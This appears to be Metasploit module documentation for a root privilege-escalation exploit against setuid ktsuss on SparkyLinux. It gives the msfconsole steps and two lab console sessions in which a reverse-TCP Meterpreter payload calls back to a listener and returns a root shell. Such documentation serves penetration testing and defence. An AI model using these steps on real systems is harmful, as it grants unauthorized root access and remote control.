2019-08-19 13:34:52 +00:00
|
|
|
## Description
|
|
|
|
|
|
|
|
|
|
This module attempts to gain root privileges by exploiting
|
|
|
|
|
a vulnerability in ktsuss versions 1.4 and prior.
|
|
|
|
|
|
|
|
|
|
The `ktsuss` executable is setuid `root` and does not drop
|
|
|
|
|
privileges prior to executing user specified commands,
|
|
|
|
|
resulting in command execution with `root` privileges.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
This module has been tested successfully on:
|
|
|
|
|
|
|
|
|
|
* ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64)
|
|
|
|
|
* ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start `msfconsole`
|
|
|
|
|
2. Get a session
|
|
|
|
|
3. `use exploit/linux/local/ktsuss_suid_priv_esc`
|
|
|
|
|
4. `set SESSION [SESSION]`
|
|
|
|
|
5. `check`
|
|
|
|
|
6. `run`
|
|
|
|
|
7. You should get a new *root* session
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
**KTSUSS_PATH**
|
|
|
|
|
|
|
|
|
|
Path to `ktsuss` executable (default: `/usr/bin/ktsuss`)
|
|
|
|
|
|
|
|
|
|
**WritableDir**
|
|
|
|
|
|
|
|
|
|
A writable directory file system path. (default: `/tmp`)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64)
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf5 > use exploit/linux/local/ktsuss_suid_priv_esc
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true
|
|
|
|
|
verbose => true
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check
|
|
|
|
|
|
|
|
|
|
[+] /usr/bin/ktsuss is setuid
|
|
|
|
|
[*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
|
|
|
|
|
[+] The target is vulnerable.
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
payload => linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165
|
|
|
|
|
lhost => 172.16.191.165
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.165:4444
|
|
|
|
|
[+] /usr/bin/ktsuss is setuid
|
|
|
|
|
[*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test)
|
|
|
|
|
[*] Writing '/tmp/.lBanpIYpAJ60cwt' (389 bytes) ...
|
|
|
|
|
[*] Executing payload ...
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3021284 bytes) to 172.16.191.137
|
|
|
|
|
|
|
|
|
|
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.137:53060) at 2019-08-19 09:18:29 -0400
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 172.16.191.137
|
|
|
|
|
OS : Sparky 5.8 (Linux 4.19.0-5-amd64)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
2019-09-02 13:31:30 -04:00
|
|
|
### ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64)
|
2019-08-19 13:34:52 +00:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf5 > use exploit/linux/local/ktsuss_suid_priv_esc
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true
|
|
|
|
|
verbose => true
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check
|
|
|
|
|
|
|
|
|
|
[+] /usr/bin/ktsuss is setuid
|
|
|
|
|
[*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test)
|
|
|
|
|
[+] The target is vulnerable.
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
payload => linux/x64/meterpreter/reverse_tcp
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165
|
|
|
|
|
lhost => 172.16.191.165
|
|
|
|
|
msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run
|
|
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.165:4444
|
|
|
|
|
[+] /usr/bin/ktsuss is setuid
|
|
|
|
|
[*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test)
|
|
|
|
|
[*] Writing '/tmp/.R0aTPpB8aHk' (389 bytes) ...
|
|
|
|
|
[*] Executing payload ...
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3021284 bytes) to 172.16.191.167
|
|
|
|
|
|
|
|
|
|
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.167:44534) at 2019-08-19 09:25:48 -0400
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 172.16.191.167
|
|
|
|
|
OS : Sparky 6 (Linux 4.19.0-5-amd64)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
